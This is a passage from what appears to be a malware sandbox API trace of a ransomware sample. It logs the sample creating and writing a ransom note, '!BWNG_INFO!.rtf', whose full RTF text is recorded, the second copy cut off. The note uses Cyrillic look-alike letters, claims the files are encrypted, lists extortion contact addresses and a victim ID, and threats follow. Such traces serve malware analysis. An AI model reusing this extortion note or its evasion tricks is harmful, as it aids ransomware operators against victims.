returned 1 [0035.275] CloseHandle (hObject=0x1a8) returned 1 [0035.276] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\!bwng_info!.rtf")) returned 0xffffffff [0035.276] GetLastError () returned 0x2 [0035.276] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 